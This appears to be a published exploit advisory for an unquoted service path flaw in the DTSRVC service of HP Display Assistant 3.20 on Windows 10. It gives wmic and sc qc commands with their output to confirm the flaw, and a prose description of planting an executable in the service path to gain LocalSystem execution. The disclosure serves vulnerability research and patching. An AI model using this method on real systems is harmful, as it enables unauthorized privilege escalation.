# Exploit Title: HP Display Assistant x64 Edition 3.20 - 'DTSRVC' Unquoted Service Path # Date: 2020-11-08 # Exploit Author: Julio Aviña # Vendor Homepage: https://www.portrait.com/ # Software Link: https://www.portrait.com/dtune/hwp/enu/ # Software Version: 3.20 # File Version: 1.0.0.1 # Tested on: Windows 10 Pro x64 es # Vulnerability Type: Unquoted Service Path # 1. To find the unquoted service path vulnerability C:\>wmic service where 'name like "%DTSRVC%"' get name, displayname, pathname, startmode, startname DisplayName Name PathName StartMode StartName Portrait Displays Display Tune Service DTSRVC C:\Program Files (x86)\Common Files\Portrait Displays\Shared\dtsrvc.exe Auto LocalSystem # 2. To check service info: C:\>sc qc "DTSRVC" [SC] QueryServiceConfig CORRECTO NOMBRE_SERVICIO: DTSRVC TIPO : 10 WIN32_OWN_PROCESS TIPO_INICIO : 2 AUTO_START CONTROL_ERROR : 1 NORMAL NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Common Files\Portrait Displays\Shared\dtsrvc.exe GRUPO_ORDEN_CARGA : ETIQUETA : 0 NOMBRE_MOSTRAR : Portrait Displays Display Tune Service DEPENDENCIAS : NOMBRE_INICIO_SERVICIO: LocalSystem # 3. Exploit: A successful attempt to exploit this vulnerability requires the attacker to insert an executable file into the service path undetected by the OS or some security application. When restarting the service or the system, the inserted executable will run with elevated privileges.